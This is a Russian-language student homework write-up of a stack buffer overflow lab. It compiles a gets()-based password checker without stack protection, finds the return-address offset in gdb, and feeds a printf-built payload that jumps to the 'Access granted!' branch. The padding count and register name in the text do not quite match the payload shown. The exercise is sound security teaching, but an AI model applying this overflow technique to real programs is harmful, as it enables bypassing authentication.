

Домашнее задание №5

Гадиров Наиль

1) компилируем с нужными флагами

```
naillg@DESKTOP-RBAGGBB:/mnt/c/Users/Наиль/Desktop/HW_eltex_gadirov/HW_5$ gcc task_2.c -o test -g -fno-stack-protector -no-pie
task_2.c: In function 'IsPassOk':
task_2.c:25:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
   25 |     gets(Pass);
      |     ^~~~~
      |     fgets
/usr/bin/ld: /tmp/ccBojXb9.o: in function `IsPassOk':
/mnt/c/Users/Наиль/Desktop/HW_eltex_gadirov/HW_5/task_2.c:25:(.text+0x71): warning: the `gets' function is dangerous and should not be used.
naillg@DESKTOP-RBAGGBB:/mnt/c/Users/Наиль/Desktop/HW_eltex_gadirov/HW_5$
```

2) запускаем gdb и находим адрес «Access granted!» - 0x00000000004011d8

```
(gdb) b main
Breakpoint 1 at 0x4011a2: file task_2.c, line 8.
(gdb) run
Starting program: /mnt/c/Users/Наиль/Desktop/HW_eltex_gadirov/HW_5/test
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at task_2.c:8
8     puts("Enter password:");
(gdb) disas
Dump of assembler code for function main:
   0x0000000000401196 <+0>:    endbr64
   0x000000000040119a <+4>:    push    %rbp
   0x000000000040119b <+5>:    mov     %rsp,%rbp
   0x000000000040119e <+8>:    sub     $0x10,%rsp
=>  0x00000000004011a2 <+12>:   lea     0xe5b(%rip),%rax        # 0x402004
   0x00000000004011a9 <+19>:   mov     %rax,%rdi
   0x00000000004011ac <+22>:   call    0x401070 <puts@plt>
   0x00000000004011b1 <+27>:   call    0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:   mov     %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:   cmpl    $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:   jne     0x4011d8 <main+66>
   0x00000000004011bf <+41>:   lea     0xe4e(%rip),%rax        # 0x402014
   0x00000000004011c6 <+48>:   mov     %rax,%rdi
   0x00000000004011c9 <+51>:   call    0x401070 <puts@plt>
   0x00000000004011ce <+56>:   mov     $0x1,%edi
   0x00000000004011d3 <+61>:   call    0x4010a0 <exit@plt>
   0x00000000004011d8 <+66>:   lea     0xe43(%rip),%rax        # 0x402022
   0x00000000004011df <+73>:   mov     %rax,%rdi
   0x00000000004011e2 <+76>:   call    0x401070 <puts@plt>
   0x00000000004011e7 <+81>:   mov     $0x0,%eax
   0x00000000004011ec <+86>:   leave
   0x00000000004011ed <+87>:   ret
```

3) находим адрес возврата в функции IsPassOk

```
(gdb) disas
Dump of assembler code for function IsPassOk:
   0x00000000004011ee <+0>:    endbr64
   0x00000000004011f2 <+4>:    push    %rbp
   0x00000000004011f3 <+5>:    mov     %rsp,%rbp
   0x00000000004011f6 <+8>:    sub     $0x10,%rsp
=>  0x00000000004011fa <+12>:   lea     -0xc(%rbp),%rax
   0x00000000004011fe <+16>:   mov     %rax,%rdi
   0x0000000000401201 <+19>:   mov     $0x0,%eax
   0x0000000000401206 <+24>:   call    0x401090 <gets@plt>
   0x000000000040120b <+29>:   lea     -0xc(%rbp),%rax
   0x000000000040120f <+33>:   lea     0xe1c(%rip),%rdx        # 0x402032
   0x0000000000401216 <+40>:   mov     %rdx,%rsi
   0x0000000000401219 <+43>:   mov     %rax,%rdi
   0x000000000040121c <+46>:   call    0x401080 <strcmp@plt>
   0x0000000000401221 <+51>:   test    %eax,%eax
   0x0000000000401223 <+53>:   sete    %al
   0x0000000000401226 <+56>:   movzbl %al,%eax
   0x0000000000401229 <+59>:   leave
   0x000000000040122a <+60>:   ret
End of assembler dump.
```

```

$8 = 20
(gdb) print (long)($rbp+8) - (long)($rbp-0xc)
$9 = 20
(gdb) print ($rbp-0xc)
$10 = (void *) 0x7fffffffdbf4
(gdb) print ($rbp+8)
$11 = (void *) 0x7fffffffdc08

```

сначала выделяется 12 байт на пароль потом 8 байт на сохранение `gbr`, а потом адрес возврата тоже 8 байт. Нам нужно записать 20 байт мусора и потом адрес возврат.

4) создаем файл и взламываем программу

```

nailg@DESKTOP-RBAGGBB:/mnt/c/Users/Наиль/Desktop/HW_eltex_gadirov/HW_5$ printf 'AAAAAAAAAABBBBBBBB\xd8\x11\x40\x00\x00\x00\x00' >> 1.txt
nailg@DESKTOP-RBAGGBB:/mnt/c/Users/Наиль/Desktop/HW_eltex_gadirov/HW_5$ ./test < 1.txt
Enter password:
Access granted!
Bus error (core dumped)
nailg@DESKTOP-RBAGGBB:/mnt/c/Users/Наиль/Desktop/HW_eltex_gadirov/HW_5$

```